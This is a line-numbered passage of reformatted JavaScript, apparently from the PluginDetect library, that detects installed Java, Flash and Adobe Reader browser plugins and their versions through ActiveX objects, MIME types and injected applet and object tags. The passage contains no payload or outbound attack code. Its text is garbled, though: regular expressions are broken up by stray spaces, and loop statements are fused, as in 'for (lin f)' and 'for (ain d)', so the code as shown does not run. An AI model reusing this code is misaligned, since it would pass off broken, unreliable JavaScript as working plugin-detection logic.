  1092.            {
  1093.            }
  1094.            else
  1095.            {
  1096.              if (d.info && 0 > d.info.getPlugin2Status() && d.info.BrowserRequiresPlugin2
  1097.              ())
  1098.              {
  1099.                c = 0
  1100.              }
  1101.            }
  1102.          }
  1103.          return c
  1104.        }
  1105.        , setPluginStatus : function (d, f, a)
  1106.        {
  1107.          var c = this , e = c.$, b;
  1108.          a = a || c.version0;
  1109.          if (0 < c.OTF)
  1110.          {
  1111.            d = d || c.lang.System.getProperty()[0]
  1112.          }
  1113.          if (c.OTF < 3)
  1114.          {
  1115.            b = d ? 1 : (a ?- 0.2 :- 1);
  1116.            if (c.installed === null || b > c.installed)
  1117.            {
  1118.              c.installed = b
  1119.            }
  1120.          }
  1121.          if (c.OTF == 2 && c.NOTF &&! c.applet.getResult()[0] &&! c.lang.System.getProperty
  1122.          ()[0])
  1123.          {
  1124.            c.installed = a ?- 0.2 :- 1
  1125.          };
  1126.          if (c.OTF == 3 && c.installed !=- 0.5 && c.installed != 0.5)
  1127.          {
  1128.            c.installed = (c.NOTF.isJavaActive(1) == 1 || c.lang.System.getProperty()[0]) ?
  1129.            0.5 :- 0.5
  1130.          }
  1131.          if (c.OTF == 4 && (c.installed ==- 0.5 || c.installed == 0.5))
  1132.          {
  1133.            if (d)
  1134.            {
  1135.              c.installed = 1
  1136.            }
  1137.            else
  1138.            {
  1139.              if (c.NOTF.isJavaActive(1) == 1)
  1140.              {
  1141.                if (a)
  1142.                {
  1143.                  c.installed = 1;
  1144.                  d = a
  1145.                }
  1146.                else
  1147.                {
  1148.                  c.installed = 0
  1149.                }
  1150.              }
  1151.              else
  1152.              {
  1153.                if (a)
  1154.                {
  1155.                  c.installed =- 0.2
  1156.                }
  1157.                else
  1158.                {
  1159.                  c.installed =- 1
  1160.                }
  1161.              }
  1162.            }
  1163.          };
  1164.          if (a)
  1165.          {
  1166.            c.version0 = e.formatNum(e.getNum(a))
  1167.          }
  1168.          if (d)
  1169.          {
  1170.            c.version = e.formatNum(e.getNum(d))
  1171.          }
  1172.          if (f && e.isString(f))
  1173.          {
  1174.            c.vendor = f
  1175.          }
  1176.          if (!c.vendor)
  1177.          {
  1178.            c.vendor = ""
  1179.          }
  1180.          if (c.verify && c.verify.isEnabled())
  1181.          {
  1182.            c.getVersionDone = 0
  1183.          }
  1184.          else
  1185.          {
  1186.            if (c.getVersionDone != 1)
  1187.            {
  1188.              if (c.OTF < 2)
  1189.              {
  1190.                c.getVersionDone = 0
  1191.              }
  1192.              else
  1193.              {
  1194.                c.getVersionDone = c.applet.can_Insert_Query_Any() ? 0 : 1
  1195.              }
  1196.            }
  1197.          }
  1198.        }
  1199.        , DTK :
  1200.        {
  1201.          $ : 1, hasRun : 0, status : null, VERSIONS : [], version : "", HTML : null,
  1202.          Plugin2Status : null, classID : ["clsid:CAFEEFAC-DEC7-0000-0001-ABCDEFFEDCBA",
  1203.          "clsid:CAFEEFAC-DEC7-0000-0000-ABCDEFFEDCBA"], mimeType : [
  1204.          "application/java-deployment-toolkit",
  1205.          "application/npruntime-scriptable-plugin;DeploymentToolkit"], disabled : function
  1206.          ()
  1207.          {
  1208.            return this .$$.isDisabled.DTK()
  1209.          }
  1210.          , query : function ()
  1211.          {
  1212.            var k = this , g = k.$, d = k.$$, j, l, h, m =
  1213.            {
  1214.            }
  1215.            , f =
  1216.            {
  1217.            }
  1218.            , a, c = null, i = null, b = (k.hasRun || k.disabled());
  1219.            k.hasRun = 1;
  1220.            if (b)
  1221.            {
  1222.              return k
  1223.            }
  1224.            k.status = 0;
  1225.            if (g.isIE && 6 <= g.verIE)
  1226.            {
  1227.              for (l = 0; l < k.classID.length; l ++ )
  1228.              {
  1229.                k.HTML = g.insertHTML("object", ["classid", k.classID[l]], []);
  1230.                c = g.getDOMobj(k.HTML);
  1231.                try
  1232.                {
  1233.                  if (c && c.jvms)
  1234.                  {
  1235.                    break
  1236.                  }
  1237.                }
  1238.                catch (j)
  1239.                {
  1240.                }
  1241.              }
  1242.            }
  1243.            else
  1244.            {
  1245.              if (!g.isIE && (h = g.hasMimeType(k.mimeType)) && h.type)
  1246.              {
  1247.                k.HTML = g.insertHTML("object", ["type", h.type], []);
  1248.                c = g.getDOMobj(k.HTML)
  1249.              }
  1250.            }
  1251.            if (c)
  1252.            {
  1253.              try
  1254.              {
  1255.                a = c.jvms;
  1256.                if (a)
  1257.                {
  1258.                  i = a.getLength();
  1259.                  if (g.isNum(i))
  1260.                  {
  1261.                    k.status = 0 < i ? 1 :- 1;
  1262.                    for (l = 0; l < i; l ++ )
  1263.                    {
  1264.                      h = g.getNum(a.get(i - 1 - l).version);
  1265.                      if (h)
  1266.                      {
  1267.                        k.VERSIONS.push(h);
  1268.                        f["a" + g.formatNum(h)] = 1
  1269.                      }
  1270.                    }
  1271.                  }
  1272.                }
  1273.              }
  1274.              catch (j)
  1275.              {
  1276.              }
  1277.            }
  1278.            h = 0;
  1279.            for (lin f)
  1280.            {
  1281.              h ++
  1282.            }
  1283.            if (h && h !== k.VERSIONS.length)
  1284.            {
  1285.              k.VERSIONS = []
  1286.            }
  1287.            if (k.VERSIONS.length)
  1288.            {
  1289.              k.version = g.formatNum(k.VERSIONS[0])
  1290.            };
  1291.            return k
  1292.          }
  1293.        }
  1294.        , AXO :
  1295.        {
  1296.          $ : 1, hasRun : 0, VERSIONS : [], version : "", disabled : function ()
  1297.          {
  1298.            return this .$$.isDisabled.AXO()
  1299.          }
  1300.          , JavaVersions : [[1, 9, 1, 40], [1, 8, 1, 40], [1, 7, 1, 40], [1, 6, 0, 40], [1,
  1301.          5, 0, 30], [1, 4, 2, 30], [1, 3, 1, 30]], query : function ()
  1302.          {
  1303.            var a = this , e = a.$, b = a.$$, c = (a.hasRun || a.disabled());
  1304.            a.hasRun = 1;
  1305.            if (c)
  1306.            {
  1307.              return a
  1308.            }
  1309.            var i = [], k = [1, 5, 0, 14], j = [1, 6, 0, 2], h = [1, 3, 1, 0], g = [1, 4, 2,
  1310.            0], f = [1, 5, 0, 7], d = b.getInfo ? true : false, l =
  1311.            {
  1312.            };
  1313.            if (b.minIEver <= e.verIE)
  1314.            {
  1315.              i = a.search(j, j, d);
  1316.              if (0 < i.length && d)
  1317.              {
  1318.                i = a.search(k, k, d)
  1319.              }
  1320.            }
  1321.            else
  1322.            {
  1323.              if (d)
  1324.              {
  1325.                i = a.search(f, f, true)
  1326.              }
  1327.              if (i.length == 0)
  1328.              {
  1329.                i = a.search(h, g, false)
  1330.              }
  1331.            }
  1332.            if (i.length)
  1333.            {
  1334.              a.version = i[0];
  1335.              a.VERSIONS = [].concat(i)
  1336.            };
  1337.            return a
  1338.          }
  1339.          , search : function (a, j, p)
  1340.          {
  1341.            var h, d, f = this , e = f.$, k = f.$$, n, c, l, q, b, o, r, i = [];
  1342.            if (0 < e.compareNums(a.join(","), j.join(",")))
  1343.            {
  1344.              j = a
  1345.            }
  1346.            j = e.formatNum(j.join(","));
  1347.            var m, s = "1,4,2,0", g = "JavaPlugin." + a[0] + "" + a[1] + "" + a[2] + "" + (0
  1348.            < a[3] ? ("_" + (a[3] < 10 ? "0" : "") + a[3]) : "");
  1349.            for (h = 0; h < f.JavaVersions.length; h ++ )
  1350.            {
  1351.              d = f.JavaVersions[h];
  1352.              n = "JavaPlugin." + d[0] + "" + d[1];
  1353.              b = d[0] + "." + d[1] + ".";
  1354.              for (l = d[2];
  1355.              l >= 0; l -- )
  1356.              {
  1357.                r = "JavaWebStart.isInstalled." + b + l + ".0";
  1358.                if (e.compareNums(d[0] + "," + d[1] + "," + l + ",0", j) >= 0 &&! e.getAXO(r
  1359.                ))
  1360.                {
  1361.                  continue
  1362.                }
  1363.                m = 0 > e.compareNums(d[0] + "," + d[1] + "," + l + ",0", s) ? true : false;
  1364.                for (q = d[3];
  1365.                q >= 0; q -- )
  1366.                {
  1367.                  c = l + "_" + (q < 10 ? "0" + q : q);
  1368.                  o = n + c;
  1369.                  if (e.getAXO(o) && (m || e.getAXO(r)))
  1370.                  {
  1371.                    i.push(b + c);
  1372.                    if (!p)
  1373.                    {
  1374.                      return i
  1375.                    }
  1376.                  }
  1377.                  if (o == g)
  1378.                  {
  1379.                    return i
  1380.                  }
  1381.                }
  1382.                if (e.getAXO(n + l) && (m || e.getAXO(r)))
  1383.                {
  1384.                  i.push(b + l);
  1385.                  if (!p)
  1386.                  {
  1387.                    return i
  1388.                  }
  1389.                }
  1390.                if (n + l == g)
  1391.                {
  1392.                  return i
  1393.                }
  1394.              }
  1395.            }
  1396.            return i
  1397.          }
  1398.        }
  1399.        , navMime :
  1400.        {
  1401.          $ : 1, hasRun : 0, mimetype : "", version : "", length : 0, mimeObj : 0, pluginObj
  1402.          : 0, disabled : function ()
  1403.          {
  1404.            return this .$$.isDisabled.navMime()
  1405.          }
  1406.          , query : function ()
  1407.          {
  1408.            var i = this , f = i.$, a = i.$$, b = (i.hasRun || i.disabled());
  1409.            i.hasRun = 1;
  1410.            if (b)
  1411.            {
  1412.              return i
  1413.            };
  1414.            var n =/^\ s * application \/ x - java - applet;
  1415.            jpi - version \ s *=\ s * ( \ d. * )$ / i, g, l, j, d = "", h = "a", o, m, k =
  1416.            {
  1417.            }
  1418.            , c = f.formatNum("0");
  1419.            for (l = 0; l < navigator.mimeTypes.length; l ++ )
  1420.            {
  1421.              o = navigator.mimeTypes[l];
  1422.              m = o ? o.enabledPlugin : 0;
  1423.              g = o && n.test(o.type || d) ? f.formatNum(f.getNum(RegExp.$1)) : 0;
  1424.              if (g && m && (m.description || m.name))
  1425.              {
  1426.                if (!k[h + g])
  1427.                {
  1428.                  i.length ++
  1429.                }
  1430.                k[h + g] = o.type;
  1431.                if (0 < f.compareNums(g, c))
  1432.                {
  1433.                  c = g
  1434.                }
  1435.              }
  1436.            }
  1437.            g = k[h + c];
  1438.            if (g)
  1439.            {
  1440.              o = f.hasMimeType(g);
  1441.              i.mimeObj = o;
  1442.              i.pluginObj = o ? o.enabledPlugin : 0;
  1443.              i.mimetype = g;
  1444.              i.version = c
  1445.            };
  1446.            return i
  1447.          }
  1448.        }
  1449.        , navPlugin :
  1450.        {
  1451.          $ : 1, hasRun : 0, version : "", disabled : function ()
  1452.          {
  1453.            return this .$$.isDisabled.navPlugin()
  1454.          }
  1455.          , query : function ()
  1456.          {
  1457.            var m = this , e = m.$, c = m.$$, h = c.navigator, j, l, k, g, d, a, i, f = 0, b
  1458.            = (m.hasRun || m.disabled());
  1459.            m.hasRun = 1;
  1460.            if (b)
  1461.            {
  1462.              return m
  1463.            };
  1464.            a = h.pluginObj.name || "";
  1465.            i = h.pluginObj.description || "";
  1466.            if (!f || c.debug)
  1467.            {
  1468.              g =/ Java. * TM. * Platform[ ^\ d] * ( \ d + )( ?: [ \ ., _]( \ d * )) ? ( ?:\
  1469.              s * [Update] +\ s * ( \ d * )) ?/ i;
  1470.              if ((g.test(a) || g.test(i)) && parseInt(RegExp.$1, 10) >= 5)
  1471.              {
  1472.                f = "1," + RegExp.$1 + "," + (RegExp.$2 ? RegExp.$2 : "0") + "," + (RegExp.
  1473.                $3 ? RegExp.$3 : "0")
  1474.              }
  1475.            }
  1476.            if (!f || c.debug)
  1477.            {
  1478.              g =/ Java[ ^\ d] * Plug - in  / i;
  1479.              l = g.test(i) ? e.formatNum(e.getNum(i)) : 0;
  1480.              k = g.test(a) ? e.formatNum(e.getNum(a)) : 0;
  1481.              if (l && (e.compareNums(l, e.formatNum("1,3")) < 0 || e.compareNums(l, e.
  1482.              formatNum("2")) >= 0))
  1483.              {
  1484.                l = 0
  1485.              }
  1486.              if (k && (e.compareNums(k, e.formatNum("1,3")) < 0 || e.compareNums(k, e.
  1487.              formatNum("2")) >= 0))
  1488.              {
  1489.                k = 0
  1490.              }
  1491.              d = l && k ? (0 < e.compareNums(l, k) ? l : k) : (l || k);
  1492.              if (d)
  1493.              {
  1494.                f = d
  1495.              }
  1496.            }
  1497.            if (!f && e.isSafari && e.OS == 2)
  1498.            {
  1499.              j = e.findNavPlugin("Java.*\d.*Plug-in.*Cocoa", 0);
  1500.              if (j)
  1501.              {
  1502.                l = e.getNum(j.description);
  1503.                if (l)
  1504.                {
  1505.                  f = l
  1506.                }
  1507.              }
  1508.            };
  1509.            if (f)
  1510.            {
  1511.              m.version = e.formatNum(f)
  1512.            };
  1513.            return m
  1514.          }
  1515.        }
  1516.        , lang :
  1517.        {
  1518.          $ : 1, System :
  1519.          {
  1520.            $ : 1, hasRun : 0, result : [null, null], disabled : function ()
  1521.            {
  1522.              return this .$$.isDisabled.windowDotJava()
  1523.            }
  1524.            , getPropertyHas : function (a)
  1525.            {
  1526.              var b = this , d = b.$, c = b.getProperty()[0];
  1527.              return (a && c && d.compareNums(d.formatNum(a), d.formatNum(c)) === 0) ? 1 : 0
  1528.            }
  1529.            , getProperty : function ()
  1530.            {
  1531.              var f = this , g = f.$, d = f.$$, i, h =
  1532.              {
  1533.              }
  1534.              , b = f.hasRun || f.disabled();
  1535.              f.hasRun = 1;
  1536.              if (!b)
  1537.              {
  1538.                var a = "java_qqq990";
  1539.                g[a] = null;
  1540.                try
  1541.                {
  1542.                  var c = document.createElement("script");
  1543.                  c.type = "text/javascript";
  1544.                  c.appendChild(document.createTextNode('
  1545.                 (function(){var e,a;try{a=[window.java.lang.System.getProperty("java.version")+" ",window.
  1546.                 java.lang.System.getProperty("java.vendor")+" "]}catch(e){};' + g.name + "." + a +
  1547.                  "=a||0})();"));
  1548.                  g.head.insertBefore(c, g.head.firstChild);
  1549.                  g.head.removeChild(c)
  1550.                }
  1551.                catch (i)
  1552.                {
  1553.                }
  1554.                if (g[a] && g.isArray(g[a]))
  1555.                {
  1556.                  f.result = [].concat(g[a])
  1557.                }
  1558.              }
  1559.              return f.result
  1560.            }
  1561.          }
  1562.        }
  1563.        , applet :
  1564.        {
  1565.          $ : 1, results : [[null, null], [null, null], [null, null]], getResult : function
  1566.          ()
  1567.          {
  1568.            var c = this .results, a, b = [];
  1569.            for (a = 0; a < c.length; a ++ )
  1570.            {
  1571.              b = c[a];
  1572.              if (b[0])
  1573.              {
  1574.                break
  1575.              }
  1576.            }
  1577.            return [].concat(b)
  1578.          }
  1579.          , HTML : [0, 0, 0], active : [0, 0, 0], DummyObjTagHTML : 0, DummySpanTagHTML : 0,
  1580.          allowed : [1, 1, 1], VerifyTagsHas : function (c)
  1581.          {
  1582.            var d = this , b;
  1583.            for (b = 0; b < d.allowed.length; b ++ )
  1584.            {
  1585.              if (d.allowed[b] === c)
  1586.              {
  1587.                return 1
  1588.              }
  1589.            }
  1590.            return 0
  1591.          }
  1592.          , saveAsVerifyTagsArray : function (c)
  1593.          {
  1594.            var b = this , d = b.$, a;
  1595.            if (d.isArray(c))
  1596.            {
  1597.              for (a = 0; a < b.allowed.length; a ++ )
  1598.              {
  1599.                if (d.isNum(c[a]))
  1600.                {
  1601.                  if (0 > c[a])
  1602.                  {
  1603.                    c[a] = 0
  1604.                  }
  1605.                  if (c[a] > 3)
  1606.                  {
  1607.                    c[a] = 3
  1608.                  }
  1609.                  b.allowed[a] = c[a]
  1610.                }
  1611.              }
  1612.            }
  1613.          }
  1614.          , setVerifyTagsArray : function (d)
  1615.          {
  1616.            var b = this , c = b.$, a = b.$$;
  1617.            if (a.getVersionDone === null)
  1618.            {
  1619.              b.saveAsVerifyTagsArray(a.getVerifyTagsDefault())
  1620.            }
  1621.            if (a.debug || (a.verify && a.verify.isEnabled()))
  1622.            {
  1623.              b.saveAsVerifyTagsArray([3, 3, 3])
  1624.            }
  1625.            else
  1626.            {
  1627.              if (d)
  1628.              {
  1629.                b.saveAsVerifyTagsArray(d)
  1630.              }
  1631.            }
  1632.          }
  1633.          , allDisabled : function ()
  1634.          {
  1635.            return this .$$.isDisabled.allApplets()
  1636.          }
  1637.          , isDisabled : function (d)
  1638.          {
  1639.            var b = this , c = b.$, a = b.$$;
  1640.            if (d == 2 &&! c.isIE)
  1641.            {
  1642.              return 1
  1643.            }
  1644.            if (d === 0 || d == 2)
  1645.            {
  1646.              return a.isDisabled.ObjectTag()
  1647.            }
  1648.            if (d == 1)
  1649.            {
  1650.              return a.isDisabled.AppletTag()
  1651.            }
  1652.          }
  1653.          , can_Insert_Query : function (b)
  1654.          {
  1655.            var a = this ;
  1656.            if (a.HTML[b])
  1657.            {
  1658.              return 0
  1659.            }
  1660.            return !a.isDisabled(b)
  1661.          }
  1662.          , can_Insert_Query_Any : function ()
  1663.          {
  1664.            var b = this , a;
  1665.            for (a = 0; a < b.results.length; a ++ )
  1666.            {
  1667.              if (b.can_Insert_Query(a))
  1668.              {
  1669.                return 1
  1670.              }
  1671.            }
  1672.            return 0
  1673.          }
  1674.          , should_Insert_Query : function (d)
  1675.          {
  1676.            var b = this , e = b.allowed, c = b.$, a = b.$$;
  1677.            if (!b.can_Insert_Query(d))
  1678.            {
  1679.              return 0
  1680.            }
  1681.            if (e[d] == 3)
  1682.            {
  1683.              return 1
  1684.            }
  1685.            if (e[d] == 2.8 &&! b.getResult()[0])
  1686.            {
  1687.              return 1
  1688.            }
  1689.            if (e[d] == 2.5 &&! a.lang.System.getProperty()[0])
  1690.            {
  1691.              return 1
  1692.            }
  1693.            if (e[d] == 2.2 &&! a.lang.System.getProperty()[0] &&! b.getResult()[0])
  1694.            {
  1695.              return 1
  1696.            }
  1697.            if (!a.nonAppletDetectionOk(a.version0))
  1698.            {
  1699.              if (e[d] == 2)
  1700.              {
  1701.                return 1
  1702.              }
  1703.              if (e[d] == 1 &&! b.getResult()[0])
  1704.              {
  1705.                return 1
  1706.              }
  1707.            }
  1708.            return 0
  1709.          }
  1710.          , should_Insert_Query_Any : function ()
  1711.          {
  1712.            var b = this , a;
  1713.            for (a = 0; a < b.allowed.length; a ++ )
  1714.            {
  1715.              if (b.should_Insert_Query(a))
  1716.              {
  1717.                return 1
  1718.              }
  1719.            }
  1720.            return 0
  1721.          }
  1722.          , query : function (f)
  1723.          {
  1724.            var h, a = this , g = a.$, d = a.$$, i = null, j = null, b = a.results, c;
  1725.            if ((b[f][0] && b[f][1]) || (d.debug && d.OTF < 3))
  1726.            {
  1727.              return
  1728.            }
  1729.            c = g.getDOMobj(a.HTML[f], true);
  1730.            if (c)
  1731.            {
  1732.              try
  1733.              {
  1734.                i = g.getNum(c.getVersion() + " ");
  1735.                j = c.getVendor() + " ";
  1736.                c.statusbar(g.winLoaded ? " " : " ")
  1737.              }
  1738.              catch (h)
  1739.              {
  1740.              }
  1741.              if (i && g.isStrNum(i))
  1742.              {
  1743.                b[f] = [i, j]
  1744.              }
  1745.              else
  1746.              {
  1747.              };
  1748.              try
  1749.              {
  1750.                if (g.isIE && i && c.readyState != 4)
  1751.                {
  1752.                  g.garbage = true;
  1753.                  c.parentNode.removeChild(c)
  1754.                }
  1755.              }
  1756.              catch (h)
  1757.              {
  1758.              }
  1759.            }
  1760.          }
  1761.          , insert_Query_Any : function ()
  1762.          {
  1763.            var d = this , i = d.$, e = d.$$, l = d.results, p = d.HTML, a =
  1764.            "&nbsp;&nbsp;&nbsp;&nbsp;", g = "A.class", m = i.file.getValid(e);
  1765.            if (!m)
  1766.            {
  1767.              return d.getResult()
  1768.            }
  1769.            if (e.OTF < 1)
  1770.            {
  1771.              e.OTF = 1
  1772.            }
  1773.            if (d.allDisabled())
  1774.            {
  1775.              return d.getResult()
  1776.            }
  1777.            if (e.OTF < 1.5)
  1778.            {
  1779.              e.OTF = 1.5
  1780.            }
  1781.            var j = m.name + m.ext, h = m.path;
  1782.            var f = ["archive", j, "code", g], c = ["mayscript", "true"], o = ["scriptable",
  1783.            "true"].concat(c), n = e.navigator, b =! i.isIE && n.mimeObj && n.mimeObj.type ?
  1784.            n.mimeObj.type : e.mimeType[0];
  1785.            if (d.should_Insert_Query(0))
  1786.            {
  1787.              if (e.OTF < 2)
  1788.              {
  1789.                e.OTF = 2
  1790.              };
  1791.              p[0] = i.isIE ? i.insertHTML("object", ["type", b], ["codebase", h].concat(f).
  1792.              concat(o), a, e) : i.insertHTML("object", ["type", b], ["codebase", h].concat(
  1793.              f).concat(o), a, e);
  1794.              l[0] = [0, 0];
  1795.              d.query(0)
  1796.            }
  1797.            if (d.should_Insert_Query(1))
  1798.            {
  1799.              if (e.OTF < 2)
  1800.              {
  1801.                e.OTF = 2
  1802.              };
  1803.              p[1] = i.isIE ? i.insertHTML("applet", ["alt", a].concat(c).concat(f), [
  1804.              "codebase", h].concat(c), a, e) : i.insertHTML("applet", ["codebase", h, "alt"
  1805.              , a].concat(c).concat(f), [].concat(c), a, e);
  1806.              l[1] = [0, 0];
  1807.              d.query(1)
  1808.            }
  1809.            if (d.should_Insert_Query(2))
  1810.            {
  1811.              if (e.OTF < 2)
  1812.              {
  1813.                e.OTF = 2
  1814.              };
  1815.              p[2] = i.isIE ? i.insertHTML("object", ["classid", e.classID], ["codebase", h
  1816.              ].concat(f).concat(o), a, e) : i.insertHTML();
  1817.              l[2] = [0, 0];
  1818.              d.query(2)
  1819.            }
  1820.            if (!d.DummyObjTagHTML &&! e.isDisabled.ObjectTag())
  1821.            {
  1822.              d.DummyObjTagHTML = i.insertHTML("object", [], [], a)
  1823.            }
  1824.            if (!d.DummySpanTagHTML)
  1825.            {
  1826.              d.DummySpanTagHTML = i.insertHTML("", [], [], a)
  1827.            };
  1828.            var k = e.NOTF;
  1829.            if (e.OTF < 3 && k.shouldContinueQuery())
  1830.            {
  1831.              e.OTF = 3;
  1832.              k.onIntervalQuery = i.handler(k.$$onIntervalQuery, k);
  1833.              if (!i.winLoaded)
  1834.              {
  1835.                i.WLfuncs0.push([k.winOnLoadQuery, k])
  1836.              }
  1837.              setTimeout(k.onIntervalQuery, k.intervalLength)
  1838.            };
  1839.            return d.getResult()
  1840.          }
  1841.        }
  1842.        , NOTF :
  1843.        {
  1844.          $ : 1, count : 0, countMax : 25, intervalLength : 250, shouldContinueQuery :
  1845.          function ()
  1846.          {
  1847.            var e = this , d = e.$, c = e.$$, b = c.applet, a;
  1848.            for (a = 0; a < b.results.length; a ++ )
  1849.            {
  1850.              if (b.HTML[a] &&! b.results[a][0] && (b.allowed[a] >= 2 || (b.allowed[a] == 1
  1851.              &&! b.getResult()[0])) && e.isAppletActive(a) >= 0)
  1852.              {
  1853.                return 1
  1854.              }
  1855.            }
  1856.            return 0
  1857.          }
  1858.          , isJavaActive : function (d)
  1859.          {
  1860.            var f = this , c = f.$$, a, b, e =- 9;
  1861.            for (a = 0; a < c.applet.HTML.length; a ++ )
  1862.            {
  1863.              b = f.isAppletActive(a, d);
  1864.              if (b > e)
  1865.              {
  1866.                e = b
  1867.              }
  1868.            }
  1869.            return e
  1870.          }
  1871.          , isAppletActive : function (c, a)
  1872.          {
  1873.            var d = this , b = d.$$.applet.active;
  1874.            if (!a)
  1875.            {
  1876.              b[c] = d.isAppletActive_(c)
  1877.            }
  1878.            return b[c]
  1879.          }
  1880.          , isAppletActive_ : function (d)
  1881.          {
  1882.            var g = this , f = g.$, b = g.$$, l = b.navigator, a = b.applet, h = a.HTML[d],
  1883.            i, k, c = 0, j = f.getTagStatus(h, a.DummySpanTagHTML, a.DummyObjTagHTML, g.
  1884.            count);
  1885.            if (j ==- 2)
  1886.            {
  1887.              return  - 2
  1888.            }
  1889.            try
  1890.            {
  1891.              if (f.isIE && b.minIEver <= f.verIE && f.getDOMobj(h).object)
  1892.              {
  1893.                return 1
  1894.              }
  1895.            }
  1896.            catch (i)
  1897.            {
  1898.            }
  1899.            for (k = 0; k < a.active.length; k ++ )
  1900.            {
  1901.              if (0 < a.active[k])
  1902.              {
  1903.                c = 1
  1904.              }
  1905.            }
  1906.            if (j == 1 && (f.isIE || ((b.version0 && l.javaEnabled() && l.mimeObj && (h.
  1907.            tagName == "object" || c)) || b.lang.System.getProperty()[0])))
  1908.            {
  1909.              return 1
  1910.            }
  1911.            if (0 > j)
  1912.            {
  1913.              return  - 1
  1914.            }
  1915.            return 0
  1916.          }
  1917.          , winOnLoadQuery : function (c, d)
  1918.          {
  1919.            var b = d.$$, a;
  1920.            if (b.OTF == 3)
  1921.            {
  1922.              a = d.queryAllApplets();
  1923.              d.queryCompleted(a[1], a[2])
  1924.            }
  1925.          }
  1926.          , $$onIntervalQuery : function (d)
  1927.          {
  1928.            var c = d.$, b = d.$$, a;
  1929.            if (b.OTF == 3)
  1930.            {
  1931.              a = d.queryAllApplets();
  1932.              if (!d.shouldContinueQuery() || (c.winLoaded && d.count > d.countMax))
  1933.              {
  1934.                d.queryCompleted(a[1], a[2])
  1935.              }
  1936.            }
  1937.            d.count++;
  1938.            if (b.OTF == 3)
  1939.            {
  1940.              setTimeout(d.onIntervalQuery, d.intervalLength)
  1941.            }
  1942.          }
  1943.          , queryAllApplets : function ()
  1944.          {
  1945.            var g = this , f = g.$, e = g.$$, d = e.applet, b, a, c;
  1946.            for (b = 0; b < d.results.length; b ++ )
  1947.            {
  1948.              d.query(b)
  1949.            }
  1950.            a = d.getResult();
  1951.            c = a[0] ? true : false;
  1952.            return [c, a[0], a[1]]
  1953.          }
  1954.          , queryCompleted : function (c, f)
  1955.          {
  1956.            var e = this , d = e.$, b = e.$$;
  1957.            if (b.OTF >= 4)
  1958.            {
  1959.              return
  1960.            }
  1961.            b.OTF = 4;
  1962.            var a = e.isJavaActive();
  1963.            b.setPluginStatus(c, f, 0);
  1964.            if (b.funcs)
  1965.            {
  1966.              d.callArray(b.funcs)
  1967.            }
  1968.            if (d.onDoneEmptyDiv)
  1969.            {
  1970.              d.onDoneEmptyDiv()
  1971.            }
  1972.          }
  1973.        }
  1974.        , zz : 0
  1975.      }
  1976.      , flash :
  1977.      {
  1978.        mimeType : "application/x-shockwave-flash", progID : "ShockwaveFlash.ShockwaveFlash"
  1979.        , classID : "clsid:D27CDB6E-AE6D-11CF-96B8-444553540000", getVersion : function ()
  1980.        {
  1981.          var b = function (i)
  1982.          {
  1983.            if (!i)
  1984.            {
  1985.              return null
  1986.            }
  1987.            var e =/ [ \ d][ \ d \,\ . \ s] * [rRdD]
  1988.            {
  1989.              0, 1
  1990.            }
  1991.            [ \ d \, ] */ .exec(i);
  1992.            return e ? e[0].replace(/[rRdD\.]/g, ",").replace(/\s/g, "") : null
  1993.          };
  1994.          var j = this , g = j.$, k, h, l = null, c = null, a = null, f, m, d;
  1995.          if (!g.isIE)
  1996.          {
  1997.            m = g.hasMimeType(j.mimeType);
  1998.            if (m)
  1999.            {
  2000.              f = g.getDOMobj(g.insertHTML("object", ["type", j.mimeType], [], "", j));
  2001.              try
  2002.              {
  2003.                l = g.getNum(f.GetVariable("$version"))
  2004.              }
  2005.              catch (k)
  2006.              {
  2007.              }
  2008.            }
  2009.            if (!l)
  2010.            {
  2011.              d = m ? m.enabledPlugin : null;
  2012.              if (d && d.description)
  2013.              {
  2014.                l = b(d.description)
  2015.              }
  2016.              if (l)
  2017.              {
  2018.                l = g.getPluginFileVersion(d, l)
  2019.              }
  2020.            }
  2021.          }
  2022.          else
  2023.          {
  2024.            for (h = 15; h > 2; h -- )
  2025.            {
  2026.              c = g.getAXO(j.progID + "." + h);
  2027.              if (c)
  2028.              {
  2029.                a = h.toString();
  2030.                break
  2031.              }
  2032.            }
  2033.            if (!c)
  2034.            {
  2035.              c = g.getAXO(j.progID)
  2036.            }
  2037.            if (a == "6")
  2038.            {
  2039.              try
  2040.              {
  2041.                c.AllowScriptAccess = "always"
  2042.              }
  2043.              catch (k)
  2044.              {
  2045.                return "6,0,21,0"
  2046.              }
  2047.            }
  2048.            try
  2049.            {
  2050.              l = b(c.GetVariable("$version"))
  2051.            }
  2052.            catch (k)
  2053.            {
  2054.            }
  2055.            if (!l && a)
  2056.            {
  2057.              l = a
  2058.            }
  2059.          }
  2060.          j.installed = l ? 1 :- 1;
  2061.          j.version = g.formatNum(l);
  2062.          return true
  2063.        }
  2064.      }
  2065.      , adobereader :
  2066.      {
  2067.        mimeType : "application/pdf", navPluginObj : null, progID : ["AcroPDF.PDF",
  2068.        "PDF.PdfCtrl"], classID : "clsid:CA8A9780-280D-11CF-A24D-444553540000", INSTALLED :
  2069.        {
  2070.        }
  2071.        , pluginHasMimeType : function (d, c, f)
  2072.        {
  2073.          var b = this , e = b.$, a;
  2074.          for (ain d)
  2075.          {
  2076.            if (d[a] && d[a].type && d[a].type == c)
  2077.            {
  2078.              return 1
  2079.            }
  2080.          }
  2081.          if (e.getMimeEnabledPlugin(c, f))
  2082.          {
  2083.            return 1
  2084.          }
  2085.          return 0
  2086.        }
  2087.        , getVersion : function (l, j)
  2088.        {
  2089.          var g = this , d = g.$, i, f, m, n, b = null, h = null, k = g.mimeType, a, c;
  2090.          if (d.isString(j))
  2091.          {
  2092.            j = j.replace(/\s/g, "");
  2093.            if (j)
  2094.            {
  2095.              k = j
  2096.            }
  2097.          }
  2098.          else
  2099.          {
  2100.            j = null
  2101.          }
  2102.          if (d.isDefined(g.INSTALLED[k]))
  2103.          {
  2104.            g.installed = g.INSTALLED[k];
  2105.            return
  2106.          }
  2107.          if (!d.isIE)
  2108.          {
  2109.            a = "Adobe.*PDF.*Plug-?in|Adobe.*Acrobat.*Plug-?in|Adobe.*Reader.*Plug-?in";
  2110.            if (g.getVersionDone !== 0)
  2111.            {
  2112.              g.getVersionDone = 0;
  2113.              b = d.getMimeEnabledPlugin(g.mimeType, a);
  2114.              if (!j)
  2115.              {
  2116.                n = b
  2117.              }
  2118.              if (!b && d.hasMimeType(g.mimeType))
  2119.              {
  2120.                b = d.findNavPlugin(a, 0)
  2121.              }
  2122.              if (b)
  2123.              {
  2124.                g.navPluginObj = b;
  2125.                h = d.getNum(b.description) || d.getNum(b.name);
  2126.                h = d.getPluginFileVersion(b, h);
  2127.                if (!h && d.OS == 1)
